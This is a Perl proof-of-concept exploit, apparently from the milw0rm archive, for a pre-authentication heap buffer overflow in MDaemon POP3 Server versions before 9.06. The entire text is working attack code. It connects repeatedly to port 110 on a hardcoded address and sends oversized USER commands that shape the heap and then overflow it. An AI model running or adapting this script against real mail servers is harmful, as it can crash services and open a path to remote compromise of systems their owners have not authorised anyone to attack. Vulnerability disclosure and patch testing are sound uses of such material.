MDaemon POP3 Server < 9.06 (USER) Remote Buffer Overflow PoC

# # PoC for Mdaemon POP3 preauth heap overflow # # Coded by Leon Juranic &#60;leon.juranic@infigo.hr&#62; # Infigo IS &#60;http://www.infigo.hr&#62; # # $host = &#39;192.168.0.105&#39;; use IO::Socket; for ($x = 0 ; $x &#60; 12 ; $x++) { $sock = new IO::Socket::INET (PeerAddr =&#62; $host,PeerPort =&#62; &#39;110&#39;, Proto =&#62; &#39;tcp&#39;) || die &#34;socket error\n\n&#34;; recv ($sock, $var, 10000,0); print $var; print $sock &#34;USER &#34; . &#34;\@A&#34; x 160 . &#34;\r\n&#34;; recv ($sock, $var, 10000,0); print $var; print $sock &#34;QUIT\r\n&#34;; recv ($sock, $var, 10000,0); print $var; close ($sock); sleep(1); } $sock = new IO::Socket::INET (PeerAddr =&#62; $host,PeerPort =&#62; &#39;110&#39;, Proto =&#62; &#39;tcp&#39;) || die &#34;socket error\n\n&#34;; recv ($sock, $var, 10000,0); print $var; print $sock &#34;USER &#34; . &#34;\@A\@A&#34; . &#34;B&#34; x 326 . &#34;\r\n&#34;; recv ($sock, $var, 10000,0); print $var; print $sock &#34;USER &#34; . &#34;\&#39;A&#34; x 337 . &#34;\r\n&#34;; recv ($sock, $var, 10000,0); print $var; sleep(2); # milw0rm.com [2006-08-22]